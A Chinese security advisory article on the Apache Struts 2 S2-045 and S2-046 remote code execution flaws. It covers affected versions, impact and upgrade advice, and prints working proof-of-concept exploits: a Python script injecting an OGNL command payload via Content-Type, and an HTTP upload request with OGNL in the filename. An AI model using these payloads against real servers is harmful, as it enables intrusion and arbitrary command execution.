查看原文
其他

Struts 2远程代码执行漏洞S2-046与S2-045属于同一漏洞不同向量

2017-03-21 E安全

背景介绍

近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-045,S2-046),并定级为高危漏洞。S2-046(CNNVD编号:;CVE编号:CVE-2017-5638)漏洞的报告者来自三家:qualcomm(高通)、dbappsecurity(杭州安恒)、HPE(惠普企业)。

S2-046与S2-045漏洞属于同一类型,如果在之前S2-045漏洞曝光后用户已经升级过官方补丁,这次就不受影响。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。

漏洞概要

Apache Struts 2 2.3.32之前的2 2.3.x版本和2.5.10.1之前的2.5.x版本中的Jakarta Multipart解析器存在安全漏洞,该漏洞源于程序没有正确处理文件上传。攻击者可以通过构造恶意的multipart chunk filename属性,即可造成远程代码执行。


漏洞的报告者来自三家:qualcomm(高通)、dbappsecurity(杭州安恒)、HPE(惠普企业)。

该漏洞危害程度极高,黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。由该应用较为广泛,且攻击利用代码已经公开,可能会导致互联网上大规模攻击的出现。

特别是政府、公安、交通、金融和运营商等尤其需要重视该漏洞,这些单位和机构需要非常重视信息安全保密工作,敏感信息的泄漏有可能对国家造成沉重的打击,甚至会违反相关的法律规定。在最近几年APT攻击横行的时期,骇客早也不再以挂黑页炫耀为目的,攻击者可能通过该漏洞作为突破口渗透进入其内部网络长期蛰伏,不断收集各种信息,直到收集到重要情报。请记住,在如今的互联网时代,只要是能换成钱的东西,骇客们都愿意尝试,其中更不乏诸多政治骇客(如国际黑客组织Anonymous)。

针对此次漏洞,安恒安全专家建议尽快更新Struts2版本或采用第三方防护措施如具备防护能力的WEB防火墙或云防护产品进行防范。


S2-045漏洞影响

攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。

S2-045 PoC

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()

相关阅读:



S2-046漏洞影响

触发条件

攻击者可以通过构造恶意的multipart chunk filename属性,即可造成远程代码执行。

S2-046 PoC

POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--


修复建议

漏洞披露后,在业界引起轩然大波,很多厂商都发布了紧急防护方案。安恒信息研究员深入分析发现很多第三方厂商所提供的过滤方案或临时加固版本并没有完全修复漏洞,攻击者仍可以利用该漏洞入侵受影响的站点。S2-046与S2-045漏洞属于同一类型,如果在之前S2-045漏洞曝光后用户已经升级过官方补丁,这次就不受影响。

1. 严格过滤 Content-Typefilename里的内容,严禁ognl表达式相关字段。

2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。

官方升级地址:
 
 


官网公告

6


参考地址


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存